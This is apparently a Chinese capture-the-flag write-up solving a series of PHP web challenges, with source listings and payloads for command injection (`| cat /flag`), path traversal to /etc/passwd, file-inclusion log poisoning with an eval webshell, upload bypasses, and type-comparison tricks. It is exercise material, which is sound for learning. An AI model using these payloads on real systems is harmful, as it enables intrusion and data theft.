商师一日游
过关爽
/atc1acrd.html
在源码

/atc2cnzd.php
曲奇-->cookie,传值

/atc3oklm.php
让我们去devtool就是终端里面找东西,在网络里面找到一个包

/atc4zztg.php()
叫我们访问robotx.txt

/atc5uupl.php
$a=$_GET['hhh'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo xxxxxxxxxxx;
}
}
else{
echo 'nonononono';
}
第一层正则 /^php$/im
i: 不区分大小写(如 PhP 也能匹配)。
m: 多行模式,^ 和 $ 匹配每行的开头和结尾。
条件:输入的字符串中存在至少一行完全等于 php(不区分大小写)。
第二层正则 /^php$/i
没有 m 修饰符,要求整个字符串严格等于 php(不区分大小写)。
构造一个包含 php
的行,同时在字符串中添加其他内容
?hhh=php%0Aanything
%0A是换行符的URL编码

/atc6ertg.php
web前端,把disabled属性删掉,再点击


给了webshell

比较麻烦

连蚁剑,找到最后一片

My Blog

只能点击Github
给了图片,还有用户名和密码,猜测要登入


扫出个登陆文件,输入即可

RceMe
<?php
$command = $_GET['com'];
if (isset($command) && strlen($command) <= 5) {
system($command);
} else {
print("你小子干什么呢?");
}
主要限制了五个字符
?com=ls /

?com=cat /flag
?com=cat /f*
?com=nl /f*
全部>5字符
?com=nl *
显示了当前目录所有文件内容,但是flag不在当前目录

用/显示根目录下所有内容
?com=nl /*

还可以拼接,目前不太会
ezGame

bp抓包,改分数,直接乱按运气好也可以
baby rce
<?php
error_reporting(0);
highlight_file(__FILE__);
extract($_GET);
$token = false;
if(isset($param1) && isset($param2)){
if(sha1($param1) == sha1($param2)){
$token = true;
echo "Level 1 pass\n";
}
}
class TYctf{
public $person = 20;
public $computer_number = 30;
function getNumber(){
if(isset($this->person)) {
echo $this->person;
}
}
function isFullUse(){
if($this->person != $this->computer_number){
echo "computer is lacking !!!\n";
}
else{
echo "computer is enough !!!\n";
}
}
static function getKey(){
include ("flag.php");
echo "Level 2 pass\n";
echo "You are winner, this is your reward: \n";
echo $flag;
}
}
if($token){
call_user_func($_POST['payload']);
}
?>
1.绕过 SHA1 弱比较
if(isset($param1) && isset($param2)){
if(sha1($param1) == sha1($param2)){
$token = true;
echo "Level 1 pass\n";
}
}
GET:?param1[]=a¶m2[]=b
2.调用 TYctf::getKey()
static function getKey(){
include ("flag.php");
echo "Level 2 pass\n";
echo "You are winner, this is your reward: \n";
echo $flag;
}
if($token){
call_user_func($_POST['payload']);
}
可以直接通过 call_user_func
直接调用静态方法 getKey()
POST:payload=TYctf::getKey

Through
查看源代码,好像可以任意文件读取

尝试目录穿越

可能过滤了../
?file=....//....//....//etc/passwd

?file=....//....//....//flag

?file=..././..././..././flag
Ping
<?php
if (isset($_GET['ip'])) {
$ip = $_GET['ip'];
if (strpos($ip, ';') !== false) {
die('Hacker detected!');
}
system("ping -c 1 " . $ip);
} else {
highlight_file(__FILE__);
}
?>
只过滤了;用|代替即可
?ip=127.0.0.1 | cat /flag

eeaassyy

禁用了按键
1.curl读取网页即可
2.url前面加上view-source:
3.先点出提示框,再按f12
无参之舞

bp抓包看一下

发现用户名:sqctf,爆破

密码:1q2w3e4r
重定向了,结合题目“无参**”,

用var_dump()
,print_f
配合其他函数
var_dump()
是一个用于 调试输出变量详细信息 的函数
scandir()
函数用于扫描目录并获取其中的文件和目录列表
GET:?exp=var_dump(scandir('./'));//用于扫描当前目录
GET:?exp=var_dump(scandir('/'));//用于扫描根目录
GET:?exp=print_r(scandir('./'));

一个个尝试即可,f1ag.php
?exp=var_dump(readfile('f1ag.php'));
?exp=var_dump(file_get_contents('f1ag.php'));
?exp=print_r(readfile('f1ag.php'));

小小查询系统

先不尝试手工注入了


Are you from SQNU?

这里有点懵,点开上方的按钮后

提示我们POST传值tyctf,后面就是正常考查请求头

baby include
<?php
if(isset($_GET['look'])){
// Great, it's the file inclusion master, we have a save !!!
$look = $_GET['look'];
$look = str_replace("php", "!!!", $look);
$look = str_replace("data", "!!!", $look);
$look = str_replace("filter", "!!!", $look);
$look = str_replace("input", "!!!", $look);
include($look);
}else{
highlight_file(__FILE__);
}
?>
这段PHP代码首先检查是否存在GET参数look
。如果存在,代码会替换look
参数中的php
、data
、filter
、input
为!!!
,然后尝试包含该文件。如果不存在look
参数,则高亮显示当前文件内容。
这里没有过滤file,可以用file://伪协议查看文件
?look=file:///etc/passwd

查看日志
?look=file:///var/log/nginx/access.log

我们直接日志注入,在bp抓包,在请求头中加入一句话代码
GET /?look=file:///var/log/nginx/access.log HTTP/1.1
User-Agent:<?php @eval($_POST['a']);?>


在直接rce时没有在根目录下发现flag,直接蚁剑


Input a number
<?php
include("flag.php");
highlight_file(__FILE__);
/**
* 处理用户输入的sqctf参数并验证数值
*
* 流程说明:
* 1. 检查是否存在sqctf参数
* 2. 先进行弱类型匹配校验(==)
* 3. 再进行intval转换后的严格校验
*/
if(isset($_GET['sqctf'])){
$num = $_GET['sqctf'];
/* 直接匹配114514会触发终止(弱类型比较)*/
if($num==114514){
die("逸一时, 误一世!");
}
/*
关键校验逻辑:
- 使用intval自动进制转换(base=0)
- 允许通过十六进制/八进制等格式绕过第一个校验
- 成功匹配将输出flag,否则显示转换后的数值
*/
if(intval($num,0)==114514){
echo $flag;
}else{
echo "看看你输入的数字: ".intval($num,0);
}
}
?>
可以用浮点数或者自然常数
?sqctf=114514.1
?sqctf=114514e1
Upload_Level1
前端验证,只能上传.jpg|.png|.gif类型的文件,可以抓包将含有木马的jpg结尾的文件改为php结尾,蚁剑连接即可
Upload_Level2
只允许上传JPEG或PNG图片,也可以抓包将含有木马的png结尾的文件改为php结尾,蚁剑连接即可
逃
<?php
highlight_file(__FILE__);
include ("flag.php");
function filter($payload){
$black_list=array("flag","php");
return str_replace($black_list,"stop",$payload);
}
class test{
var $user = 'test';
var $pswd = 'sunshine';
function __construct($user){
$this->user=$user;
}
}
$payload=$_GET['payload'];
$profile=unserialize(filter($payload));
if ($profile->pswd=='escaping'){
echo "逃出来了, 恭喜恭喜<br>";
echo $flag;
}
?>
- 目标: 让 unserialize() 函数执行后,得到的 $profile 对象的 pswd 属性等于字符串 'escaping'。
- 障碍: filter() 函数会将用户输入 ($payload) 中的 "flag" 和 "php" 替换成 "stop"。
- 关键点: 替换操作改变了字符串的长度。"php" (3个字符) 被替换成 "stop" (4个字符),长度增加了
<?php
class test {
public $user = '';
public $pswd = 'escaping';
}
$payload = serialize(new test());
echo ($payload);
?>
?payload=O:4:"test":2:{s:4:"user";s:4:"test";s:4:"pswd";s:8:"escaping";}
千查万别

Comments NOTHING